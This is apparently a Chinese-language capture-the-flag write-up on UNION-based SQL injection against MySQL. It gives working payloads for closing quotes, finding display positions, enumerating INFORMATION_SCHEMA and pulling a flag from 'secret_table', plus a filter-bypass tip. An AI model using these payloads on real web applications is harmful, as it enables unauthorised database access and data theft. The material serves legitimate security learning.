1.發現注入點
2.報數據庫
先用單引號(也嘗試雙引號)閉合前面的語句,使注入的語句能夠執行,
數字 0 :匹配字段,還有 1=1 1=2 等等都可以使用,有些網站會有過濾處理,建議采用 1%2b1=2 1%2b1>1 繞過過濾
句尾加 # 井號注釋后面的語句和原有的引號括號
使用union select 聯合查詢顯示位,返回的數字即為顯示位,可以用來顯示字段
' and 0 union select 1,2,3 #
在顯示位輸入可能的表名,union select語句從數據庫 INFORMATION_SCHEMA查詢他的columns
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
在表名中尋找可能的表,繼續用union select 查詢表中的column,即本語句中的列名column_name和數據類型data_type
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'# 得到 secret_table
發現列名有 secret table,繼續使用語句查詢該列名下
' and 0 union select 1,2,fl4g from secret_table #
出現flag
強行總結:一般sql注入要先用引號括號等出現報錯判斷sql注入點
用單引號雙引號括號閉合前面,用#或 --注釋后面的語句和引號括號
order by
union select 1,2,3,4,5,查詢顯示位
根據mysql常用的表結構查詢表和列
參考mysql常用結構: https://blog.csdn.net/Wu000999/article/details/88996768?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param